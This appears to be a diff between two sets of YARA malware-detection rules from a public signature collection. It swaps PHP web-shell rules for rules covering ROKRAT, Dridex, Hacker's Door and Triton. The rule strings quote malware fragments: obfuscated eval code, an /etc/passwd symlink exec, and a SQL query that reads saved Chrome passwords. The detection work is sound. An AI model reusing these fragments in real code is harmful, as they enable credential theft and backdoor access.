+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rokrat.yar#L63-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e823ef5506b2fdf30a6ff9bdf6eee552b767b66a6c007a30618fc212d598b540"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "506a6ab6c49e904b4adc1f969c91e4f1a7dde164be549c6440e766de36c93215"
+		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
 
 	strings:
-		$s2 = "$lol = file_get_contents(\"../../../../../wp-config.php\");" fullword ascii
-		$s6 = "@unlink(\"./export-check-settings.php\");" fullword ascii
-		$s7 = "$xos = \"Safe-mode:[Safe-mode:\".$hsafemode.\"] " fullword ascii
+		$x1 = "base64Encoded=\"TVqQAAMAAAAEAAAA" ascii
+		$x2 = "command =outFile &\" sysupdate\"" fullword ascii
+		$x3 = "outFile=sysDir&\"\\rundll32.exe\"" fullword ascii
+		$s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
+		$s2 = "c:\\TEMP\\CrashReports\\" ascii
+		$s3 = "objShell.run command, 0, True" fullword ascii
+		$s4 = "sysDir = shell.ExpandEnvironmentStrings(\"%windir%\")" fullword ascii
+		$s5 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
+		$s6 = "set shell = WScript.CreateObject(\"WScript.Shell\")" fullword ascii
+		$a1 = "\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
+		$a2 = "SELECT username_value, password_value, signon_realm FROM logins" fullword ascii
 
 	condition:
-		( uint16(0)==0x3f3c and filesize <6KB and ( all of ($s*))) or ( all of them )
+		uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or 3 of them or all of ($a*))
 }
-rule SIGNATURE_BASE_Dkshell_F0772Be3C95802A2D1E7A4A3F5A45Dcdef6997F3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Freeenki_Infostealer_Nov17_Export_Sig_Testing : FILE
 {
 	meta:
-		description = "Detects a web shell"
+		description = "Detects Freenki infostealer malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "161ceca6-f5e8-5bcf-bc31-2a2169b1a1c7"
-		date = "2016-09-10"
+		id = "929f9d41-2e71-5a86-b12f-489355bdf88d"
+		date = "2017-11-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9524-L9538"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "81b0a08d1b9d3640e656a5cd08b79c0a2f940a2db5c2d939d19509f993514e86"
-		score = 75
+		reference = "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rokrat.yar#L94-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c6d8784aa976501a77441c4e705b7fdc9654277e8cd3f6d966967fb2e1cd724"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7ea49d5c29f1242f81f2393b514798ff7caccb50d46c60bdfcf61db00043473b"
-
-	strings:
-		$s1 = "<?php Error_Reporting(0); $s_pass = \"" ascii
-		$s2 = "$s_func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on" ascii
+		hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
 
 	condition:
-		( uint16(0)==0x3c0a and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <3000KB and pe.exports("getUpdate") and pe.number_of_exports==1
 }
-rule SIGNATURE_BASE_Unknown_8Af033424F9590A15472A23Cc3236E68070B952E : FILE
+import "pe"
+
+rule SIGNATURE_BASE_ROKRAT_Nov17_1 : FILE
 {
 	meta:
-		description = "Detects a web shell"
+		description = "Detects ROKRAT malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fcf467b6-f49a-52d0-a57f-9f3cf6d0b25b"
-		date = "2016-09-10"
+		id = "6bf3653b-1f96-5060-b6fd-82ccc83fad77"
+		date = "2017-11-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9540-L9555"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7dc9a2a5e0800b5061cb2101d7cda023a6e637f1e7b14054fdb6a0b2cec6084"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rokrat.yar#L110-L127"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12641d417408ef32292204f620efa3d1347238fa1c6f63b2b6f09a6c660e9e24"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3382b5eaaa9ad651ab4793e807032650667f9d64356676a16ae3e9b02740ccf3"
 
 	strings:
-		$s1 = "$check = $_SERVER['DOCUMENT_ROOT']" fullword ascii
-		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
-		$s3 = "fwrite($fp,base64_decode('" ascii
+		$s1 = "\\T+M\\Result\\DocPrint.pdb" ascii
+		$s2 = "d:\\HighSchool\\version 13\\2ndBD" ascii
+		$s3 = "e:\\Happy\\Work\\Source\\version" ascii
+		$x1 = "\\appdata\\local\\svchost.exe" ascii
+		$x2 = "c:\\temp\\esoftscrap.jpg" fullword ascii
 
 	condition:
-		( uint16(0)==0x6324 and filesize <6KB and ( all of ($s*))) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <15000KB and 1 of them )
 }
-rule SIGNATURE_BASE_Dkshell_4000Bd83451F0D8501A9Dfad60Dce39E55Ae167D : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Crime_Win32_Dridex_Socks5_Mod
 {
 	meta:
-		description = "Detects a web shell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "804f7229-1440-5a2e-91cd-a58a38b22aa9"
-		date = "2016-09-10"
+		description = "Detects Dridex socks5 module"
+		author = "@VK_Intel"
+		id = "cee256b1-ad80-55dd-bbd3-0d3f7bc49664"
+		date = "2020-04-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9557-L9575"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26d586e32d1b0b7800b4b61f592dadc3dd0583628e4cd3fa4e24e02067077da5"
+		reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_evilcorp_dridex_banker.yar#L8-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5ca09e9c7d94e949e453d1bb69b566c12b253579cbcae700929d4f517df35a0a"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "51a16b09520a3e063adf10ff5192015729a5de1add8341a43da5326e626315bd"
+		tags = ""
 
 	strings:
-		$x1 = "DK Shell - Took the Best made it Better..!!" fullword ascii
-		$x2 = "preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x" ascii
-		$x3 = "echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';" fullword ascii
-		$s1 = "echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';" fullword ascii
-		$s9 = "$x = $_GET[\"x\"];" fullword ascii
+		$s0 = "socks5_2_x32.dll"
+		$s1 = "socks5_2_x64.dll"
 
 	condition:
-		( uint16(0)==0x3f3c and filesize <200KB and 1 of ($x*)) or (3 of them )
+		any of ($s*) and pe.exports("start")
 }
-rule SIGNATURE_BASE_Webshell_5786D7D9F4B0Df731D79Ed927Fb5A124195Fc901 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Crime_Win32_Hvnc_Banker_Gen
 {
 	meta:
-		description = "Detects a web shell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7958e5fc-5ac5-58bc-8128-0a778e99a4e4"
-		date = "2016-09-10"
+		description = "Detects malware banker hidden VNC"
+		author = "@VK_Intel"
+		id = "5e13f4a9-2231-524f-82b2-fbc6d6a43b6f"
+		date = "2020-04-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9577-L9591"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "348ccdf997965fbea791d835f1dd4e2c16d37a17ff4195e585fa4226f18faad6"
+		reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_evilcorp_dridex_banker.yar#L22-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b01af685c3826834aadaf4eac1f1d8171db288a2efa7b769d8122421f7af8d7e"
 		score = 75
 		quality = 85
+		tags = ""
+
+	condition:
+		pe.exports("VncStartServer") and pe.exports("VncStopServer")
+}
+rule SIGNATURE_BASE_MAL_Gozicrypter_Dec20_1 : FILE
+{
+	meta:
+		description = "Detects crypter associated with several Gozi samples"
+		author = "James Quinn"
+		id = "d4a48612-fa6f-5f03-8d27-5f6b79b2a070"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "YaraExchange"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_gozi_crypter.yar#L2-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51fdfbb59b8f52cc2ff89d994c0f89d2c2895c346b098879c68b4ccb880783c1"
+		score = 70
+		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b1733cbb0eb3d440c4174cc67ca693ba92308ded5fc1069ed650c3c78b1da4bc"
 
 	strings:
-		$s1 = "preg_replace(\"\\x2F\\x2E\\x2A\\x2F\\x65\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x" ascii
-		$s2 = "input[type=text], input[type=password]{" fullword ascii
+		$s1 = { 89 05 ?? ?? ?? ?? 81 2d ?? ?? ?? ?? 01 00 00 00 81 3D ?? ?? ?? ?? 00 00 00 00 }
 
 	condition:
-		( uint16(0)==0x6c3c and filesize <80KB and all of them )
+		uint16(0)==0x5A4D and any of them and filesize <1000KB
 }
-rule SIGNATURE_BASE_Webshell_E8Eaf8Da94012E866E51547Cd63Bb996379690Bf : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hkdoor_Backdoor_Dll : FILE
 {
 	meta:
-		description = "Detects a web shell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8fda9b9f-9a72-5123-91d7-0d0aec9e17bc"
-		date = "2016-09-10"
+		description = "Hacker's Door Backdoor DLL"
+		author = "Cylance Inc."
+		id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9593-L9608"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "044491f0b07ef606aa76e70a07d161565f9cecf73e8f9f8db63cacc1c475b056"
+		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hkdoor.yar#L11-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77901d1f2d6c53161c79b50ef20eeb424bf1b8b32906302ca10f3c4b82a58e2a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "027544baa10259939780e97dc908bd43f0fb940510119fc4cce0883f3dd88275"
 
 	strings:
-		$x1 = "@exec('./bypass/ln -s /etc/passwd 1.php');" fullword ascii
-		$x2 = "echo \"<iframe src=mysqldumper/index.php width=100% height=100% frameborder=0></iframe> \";" fullword ascii
-		$x3 = "@exec('tar -xvf mysqldumper.tar.gz');" fullword ascii
+		$s1 = "The version of personal hacker's door server is" fullword ascii
+		$s2 = "The connect back interval is %d (minutes)" fullword ascii
+		$s3 = "I'mhackeryythac1977" fullword ascii
+		$s4 = "Welcome to http://www.yythac.com" fullword ascii
+		$s5 = "SeLoadDriverPrivilege" fullword ascii
 
 	condition:
-		( uint16(0)==0x213c and filesize <100KB and 1 of ($x*)) or (2 of them )
+		uint16(0)==0x5a4d and filesize <400KB and (3 of ($s*)) and pe.characteristics&pe.DLL and pe.imports("ws2_32.dll","WSAStartup") and pe.imports("ws2_32.dll","sendto")
 }
-rule SIGNATURE_BASE_Unknown_0F06C5D1B32F4994C3B3Abf8Bb76D5468F105167 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hkdoor_Backdoor : FILE
 {
 	meta:
-		description = "Detects a web shell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "efd09da2-f232-5a21-99c8-dc2bf00baa73"
-		date = "2016-09-10"
+		description = "Hacker's Door Backdoor"
+		author = "Cylance Inc."
+		id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9610-L9625"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f4bdf8aecd527335c29a8e964c7d8688c3e77419595d3fd10a6cf3704711816"
+		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hkdoor.yar#L32-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3fc71c971bf0908e044e3e0ec3f266b8dfaae33bcfbf1b10619375fc7b5e7f5e"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6362372850ac7455fa9461ed0483032a1886543f213a431f81a2ac76d383b47e"
 
 	strings:
-		$s1 = "$check = $_SERVER['DOCUMENT_ROOT'] . \"/libraries/lola.php\" ;" fullword ascii
-		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
-		$s3 = "fwrite($fp,base64_decode('" ascii
+		$s1 = "http://www.yythac.com" fullword ascii
+		$s2 = "Example:%s 192.168.1.100 139 -p yyt_hac -t 1" fullword ascii
+		$s3 = "password-----------The hacker's door's password" fullword ascii
+		$s4 = "It is the client of hacker's door %d.%d public version" fullword ascii
+		$s5 = "hkdoordll.dll" fullword ascii
+		$s6 = "http://www.yythac.com/images/mm.jpg" fullword ascii
+		$s7 = "I'mhackeryythac1977" fullword ascii
+		$s8 = "yythac.yeah.net" fullword ascii
 
 	condition:
-		( uint16(0)==0x6324 and filesize <2KB and all of them )
+		uint16(0)==0x5a4d and filesize <400KB and (4 of ($s*))
 }
-rule SIGNATURE_BASE_Wsoshell_0Bbebaf46F87718Caba581163D4Beed56Ddf73A7 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hkdoor_Dropper : FILE
 {
 	meta:
-		description = "Detects a web shell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "92165645-5392-588d-ba2a-5ef6b7499a5a"
-		date = "2016-09-10"
-		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9627-L9641"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf5090fb909fea690c8a2af3cca35136eda3b9773976189158c25fb8877cc266"
+		description = "Hacker's Door Dropper"
+		author = "Cylance Inc."
+		id = "8c8171b9-6256-591a-8f74-abac1cb9a50b"
+		date = "2018-01-01"
+		modified = "2023-01-07"
+		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hkdoor.yar#L53-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "521836ff95142d276152687f7c36e8f503f168f101976022431efd13a6adf7e4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d053086907aed21fbb6019bf9e644d2bae61c63563c4c3b948d755db3e78f395"
 
 	strings:
-		$s8 = "$default_charset='Wi'.'ndo.'.'ws-12'.'51';" fullword ascii
-		$s9 = "$mosimage_session = \"" fullword ascii
+		$s1 = "The version of personal hacker's door server is" fullword ascii
+		$s2 = "The connect back interval is %d (minutes)" fullword ascii
+		$s3 = "I'mhackeryythac1977" fullword ascii
+		$s4 = "Welcome to http://www.yythac.com" fullword ascii
+		$s5 = "SeLoadDriverPrivilege" fullword ascii
+		$s6 = "\\drivers\\ntfs.sys" ascii
+		$s7 = "kifes" fullword ascii
 
 	condition:
-		( uint16(0)==0x3f3c and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <1000KB and (4 of ($s*)) and pe.number_of_resources>0 and for any i in (0..pe.number_of_resources-1) : (pe.resources[i].type_string=="B\x00I\x00N\x00" and uint16(pe.resources[i].offset)==0x5A4D) and pe.imports("KERNEL32.dll","FindResourceW") and pe.imports("KERNEL32.dll","LoadResource")
 }
-rule SIGNATURE_BASE_Webshell_Generic_1609_A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hkdoor_Driver : FILE
 {
 	meta:
-		description = "Auto-generated rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4b7db4db-8699-5b4d-ab90-ce79f1160984"
-		date = "2016-09-10"
-		modified = "2023-12-05"
-		reference = "https://github.com/bartblaze/PHP-backdoors"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9643-L9658"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e5a4bba3a7b1c712203fcc8b85e4089b0ff18a26e96f5a04529616dbfb9de651"
+		description = "Hacker's Door Driver"
+		author = "Cylance Inc."
+		id = "50b763a9-6d4f-59dd-ba6c-27e2ae117523"
+		date = "2018-01-01"
+		modified = "2023-01-07"
+		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hkdoor.yar#L81-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "68ac505d67af5361f096529697e621c83a4628f21c213fcea6652905f87ebe00"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "c817a490cfd4d6377c15c9ac9bcfa136f4a45ff5b40c74f15216c030f657d035"
-		hash3 = "69b9d55ea2eb4a0d9cfe3b21b0c112c31ea197d1cb00493d1dddc78b90c5745e"
 
 	strings:
-		$s1 = "return $qwery45234dws($b);" fullword ascii
+		$s1 = "ipfltdrv.sys" fullword ascii
+		$s2 = "Patch Success." fullword ascii
+		$s3 = "\\DosDevices\\kifes" ascii
+		$s4 = "\\Device\\kifes" ascii
+		$s5 = {75 28 22 36 30 5b 4a 77 7b 58 4d 6c 3f 73 63 5e 38 47 7c 7d 7a 40 3a 41 2a 45 4e 44 79 64 67 6d 65 74 21 39 23 3c 20 49 43 69 4c 3b 31 57 2f 55 3e 26 59 62 61 54 53 5a 2d 25 78 35 5c 76 3d 34 27 6b 5f 72 2c 32 4f 2b 71 66 42 33 37 56 52 60 5d 29 4b 51 2e 6f 50 68 6e 6a 24 48 7e 46 70}
 
 	condition:
-		( uint16(0)==0x3f3c and 1 of them )
+		uint16(0)==0x5a4d and pe.subsystem==pe.SUBSYSTEM_NATIVE and (4 of ($s*))
 }
-rule SIGNATURE_BASE_Nishang_Webshell : FILE
+rule SIGNATURE_BASE_Trojan_Win32_Adupib_1 : PLATINUM
 {
 	meta:
-		description = "Detects a ASPX web shell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "785e6da7-097e-598b-9799-ffe43738d718"
-		date = "2016-09-11"
+		description = "Adupib SSL Backdoor"
+		author = "Microsoft"
+		id = "fb3b10a4-66d7-50ec-b6a5-b3c5c382ef01"
+		date = "2016-04-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/samratashok/nishang"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9660-L9675"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b8a3c8e80a4e41e556e2d65df4126d84723ded6ca623302afc4cc328bded346c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ms_platinum.yara#L101-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
+		logic_hash = "4d93b6a041468b51763d9497acf3d01ee59ac05f1807a6b140c557ef96d26df9"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$s1 = "psi.Arguments = \"-noninteractive \" + \"-executionpolicy bypass \" + arg;" ascii
-		$s2 = "output.Text += \"\nPS> \" + console.Text + \"\n\" + do_ps(console.Text);" ascii
-		$s3 = "<title>Antak Webshell</title>" fullword ascii
-		$s4 = "<asp:Button ID=\"executesql\" runat=\"server\" Text=\"Execute SQL Query\"" ascii
+		$str1 = "POLL_RATE"
+		$str2 = "OP_TIME(end hour)"
+		$str3 = "%d:TCP:*:Enabled"
+		$str4 = "%s[PwFF_cfg%d]"
+		$str5 = "Fake_GetDlgItemTextW: ***value***="
 
 	condition:
-		( uint16(0)==0x253C and filesize <100KB and 1 of ($s*))
+		$str1 and $str2 and $str3 and $str4 and $str5
 }
-rule SIGNATURE_BASE_PHP_Webshell_1_Feb17 : FILE
+rule SIGNATURE_BASE_HKTL_Nim_Nimpackt : EXE FILE HKTL
 {
 	meta:
-		description = "Detects a simple cloaked PHP web shell"
+		description = "Detects binaries generated with NimPackt v1"
+		author = "Cas van Cooten"
+		id = "3399d937-133f-5701-840e-eaf68b2f1ec9"
+		date = "2022-01-26"
+		modified = "2023-12-05"
+		reference = "https://github.com/chvancooten/NimPackt-v1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_nimpackt.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2bda7acb440d1c72efeaddcb18b736343d658d59feccf6c9339b313cd35f32eb"
+		score = 80
+		quality = 79
+		tags = "EXE, FILE, HKTL"
+
+	strings:
+		$nim1 = "fatal.nim" ascii fullword
+		$nim2 = "winim" ascii
+		$np1 = { 4E 69 6D 50 61 63 6B 74 }
+		$sus1 = { 61 6D 73 69 00 00 00 00 B8 57 00 07 80 C3 }
+		$sus2 = { 5B 2B 5D 20 49 6E 6A 65 63 74 65 64 }
+		$sus3 = { 5C 2D 2D 20 62 79 74 65 73 20 77 72 69 74 74 65 6E 3A }
+
+	condition:
+		uint16(0)==0x5A4D and filesize <750KB and 1 of ($nim*) and ($np1 or 2 of ($sus*))
+}
+rule SIGNATURE_BASE_Triton_Trilog : FILE
+{
+	meta:
+		description = "Detects Triton APT malware - file trilog.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eedf87c9-2dab-530d-b5d8-a4c2ebc87821"
-		date = "2017-02-28"
+		id = "ae2c9b47-2a67-50c6-9d2a-dc47b4fa69ef"
+		date = "2017-12-14"
 		modified = "2023-12-05"
-		reference = "https://isc.sans.edu/diary/Analysis+of+a+Simple+PHP+Backdoor/22127"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L9687-L9708"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8576b20ec3f81b3ef0aa5a508c94e07d591d68767cb4598ad10778b4305915d"
+		reference = "https://goo.gl/vtQoCQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_triton.yar#L70-L85"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6406e9e7651978a6817079945dc801afdb6c16dd107527cbfd9a946eca27a51a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230"
 
 	strings:
-		$h1 = "<?php ${\"\\x" ascii
-		$x1 = "\";global$auth;function sh_decrypt_phase($data,$key){${\"" ascii
-		$x2 = "global$auth;return sh_decrypt_phase(sh_decrypt_phase($" ascii
-		$x3 = "]}[\"\x64\"]);}}echo " ascii
-		$x4 = "\"=>@phpversion(),\"\\x" ascii
-		$s1 = "$i=Array(\"pv\"=>@phpversion(),\"sv\"" ascii
-		$s3 = "$data = @unserialize(sh_decrypt(@base64_decode($data),$data_key));" ascii
+		$s1 = "inject.bin" ascii
+		$s2 = "PYTHON27.DLL" fullword ascii
+		$s3 = "payload" ascii
 
 	condition:
-		uint32(0)==0x68703f3c and ($h1 at 0 and 1 of them ) or 2 of them
+		uint16(0)==0x5a4d and filesize <60KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Tiny_JSP_2 : FILE
+rule SIGNATURE_BASE_EXPL_LOG_Proxynotshell_OWASSRF_Powershell_Proxy_Log_Dec22_1 : CVE_2022_41040 CVE_2022_41082
 {
 	meta:
-		description = "Detects a tiny webshell - chine chopper"
+		description = "Detects traces of exploitation activity in relation to ProxyNotShell MS Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082"
